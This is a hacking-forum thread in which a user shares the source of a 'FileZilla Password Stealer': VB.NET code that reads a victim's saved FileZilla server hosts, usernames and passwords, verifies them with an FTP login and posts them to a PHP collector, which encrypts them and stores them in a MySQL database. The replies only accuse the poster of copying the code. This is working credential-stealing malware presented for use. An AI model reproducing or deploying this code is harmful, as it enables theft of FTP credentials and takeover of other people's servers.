

Forum:[Hack Forums](#)

Thread: [Filezilla Password Stealer\[PHP & VB.NET\] SOURCE](#)

onlinemutex - October 27, 2013, 12:18 pm

I have been busy for several weeks and when i got bored after so long time. i tried to integrate vb.net with php. here is the unfinished result. it works but its not complete yet.
but just wanted to share with you guys. hope you guys can come up with better ideas.
?

credits:

<https://hackforums.net/showthread.php?tid=2168900>

VB.NET code

PHP Code

<?php

Imports System.Net

Imports System.Text

Imports System.IO

Public Class Form1

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Button1.Click
getfilezilla()

End Sub

Sub getfilezilla()

Dim XMLDOC As New System.Xml.XmlDocument

Dim MyPath As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).
ToString() + "\FileZilla\recentservers.xml"

XMLDOC.Load(MyPath)

Dim XMLPath As Xml.XmlElement

XMLPath = XMLDOC.SelectSingleNode("//Server")

Dim host As String

Dim port As String

Dim user As String

Dim pass As String

Dim Servers As Integer

Servers = XMLDOC.GetElementsByTagName("Server").Count

Dim i As Integer = 0

Dim Output As String = ""

Try

Do Until i = Servers

i += 1

Output += _

"Server: " & i & Environment.NewLine & _

" Host: " & XMLPath.Item("Host").InnerText & Environment.NewLine & _

" Port: " & XMLPath.Item("Port").InnerText & Environment.NewLine & _

" User: " & XMLPath.Item("User").InnerText & Environment.NewLine & _

```

" Pass: " & XMLPath.Item("Pass").InnerText & Environment.NewLine & Environment.NewLine
host = XMLPath.Item("Host").InnerText
port = XMLPath.Item("Port").InnerText
user = XMLPath.Item("User").InnerText
pass = XMLPath.Item("Pass").InnerText
test(host, user, pass)

If i < Servers Then XMLPath = XMLDOC.SelectSingleNode("//Server").NextSibling

Loop

Catch ex As Exception

End Try
End Sub
Sub test(ByVal host, ByVal user, ByVal pass)
Dim request = _
DirectCast(WebRequest.Create _
("ftp://" & host), FtpWebRequest)

request.Credentials = _
New NetworkCredential(user.ToString, pass.ToString)

request.Method = WebRequestMethods.Ftp.ListDirectory

Using response As FtpWebResponse = _
DirectCast(request.GetResponse(), FtpWebResponse)

    post(host, user, pass)

End Using

End Sub

Sub post(ByVal host, ByVal user, ByVal pass)

Dim websiteurl As String
websiteurl = "http://localhost/test/index.php"
Dim postData = "host=" & host & "&" & "user=" & user & "&" & "pass=" & pass
Dim request As WebRequest = WebRequest.Create(websiteurl)
request.Method = "POST"

Dim byteArray As Byte() = Encoding.UTF8.GetBytes(postData)
request.ContentType = "application/x-www-form-urlencoded"
request.ContentLength = byteArray.Length

Dim dataStream As Stream = request.GetRequestStream()
dataStream.Write(byteArray, 0, byteArray.Length)
dataStream.Close()
MsgBox("Done")
End Sub
End Class
PHP CODE - db.php

```

PHP Code

```
<?php
```

```
$hostname = "localhost";
```

```
$username = "root";
```

```
$password = "";
```

```
try {
```

```
    $conn = new PDO("mysql:host=$hostname;dbname=brain", $username, $password);
```

```
    }
```

```
catch(PDOException $e)
```

```
{
```

```
    echo $e->getMessage();
```

```
}
```

```
?>PHP CODE - index.php
```

PHP Code

```
<?php
```

```
include("db.php");
```

```
define("ENCRYPTION_KEY", "!!$#)(@#$%^^^%&(!@#$%)&*)(*&^^&$@#%^$%^&*&");
```

```
echo $encrypted = encrypt($string, ENCRYPTION_KEY);
```

```
echo "<br />";
```

```
echo $decrypted = decrypt($encrypted, ENCRYPTION_KEY);
```

```
/**
```

```
 * Returns an encrypted & utf8-encoded
```

```
 */
```

```
function encrypt($sValue, $sSecretKey)
```

```
{
```

```
    return rtrim(
```

```
    base64_encode(
```

```
    mcrypt_encrypt(
```

```
    MCRYPT_RIJNDAEL_256,
```

```
    $sSecretKey, $sValue,
```

```
    MCRYPT_MODE_ECB,
```

```
    mcrypt_create_iv(
```

```
    mcrypt_get_iv_size(
```

```
    MCRYPT_RIJNDAEL_256,
```

```
    MCRYPT_MODE_ECB
```

```
    ),
```

```
    MCRYPT_RAND)
```

```
    )
```

```
    ), "\0"
```

```
);
```

```
}
```

```
function decrypt($sValue, $sSecretKey)
```

```
{
```

```
    return rtrim(
```

```
    mcrypt_decrypt(
```

```
    MCRYPT_RIJNDAEL_256,
```

```
    $sSecretKey,
```

```

base64_decode($sValue),
MCRYPT_MODE_ECB,
mcrypt_create_iv(
mcrypt_get_iv_size(
MCRYPT_RIJNDAEL_256,
MCRYPT_MODE_ECB
),
MCRYPT_RAND
), "\0"
);
}

if (isset($_POST['host'],$_POST['user'],$_POST['pass']))
{
$host = encrypt($_POST['host'],ENCRYPTION_KEY);
$user = encrypt($_POST['user'],ENCRYPTION_KEY);
$pass = encrypt($_POST['pass'],ENCRYPTION_KEY);

$sqlinsert = "INSERT INTO filezilla (host,user,pass) VALUES (:host,:user,:pass)";
$q = $conn->prepare($sqlinsert);
$q->execute(array(':host'=>$host,
':user'=>$user,
':pass'=>$pass));
}

?>

```

tweety - October 27, 2013, 12:28 pm

Give some credits. You didn't write this yourself at all.

<https://hackforums.net/showthread.php?tid=2168900>
<http://ljuska.org/viewtopic.php?t=15304&p=112906>

Vexane - October 29, 2013, 9:19 pm

(Oct 27, 2013 12:28 PM)Tweety. Wrote: [\[CITE\]](#) Give some credits. You didn't write this yourself at all.

<https://hackforums.net/showthread.php?tid=2168900>
<http://ljuska.org/viewtopic.php?t=15304&p=112906>

I love when these posts get 'caught'.
It's kinda funny to think that 60% of
the world has access to Google
(I made up those statistics, so don't
quote me on them; literally)

ChewBox - October 29, 2013, 9:23 pm

(Oct 29, 2013 09:19 PM)?Varosion Wrote: [\[CITE\]](#) I love when these posts get 'caught'.

It's kinda funny to think that 60% of
the world has access to Google
(I made up those statistics, so don't
quote me on them; literally)
Makes post about people using Google, doesn't use Google..

;)

BlackLayer - *October 30, 2013, 12:50 pm*

Stop trolling spam threads copy/paste.

Lambasoft - *October 30, 2013, 3:02 pm*

(Oct 29, 2013 09:23 PM)ChewBox Wrote: [\[CITE\]](#) Makes post about people using Google, doesn't use Google..

;)

HAHA !

This made me lol ;p

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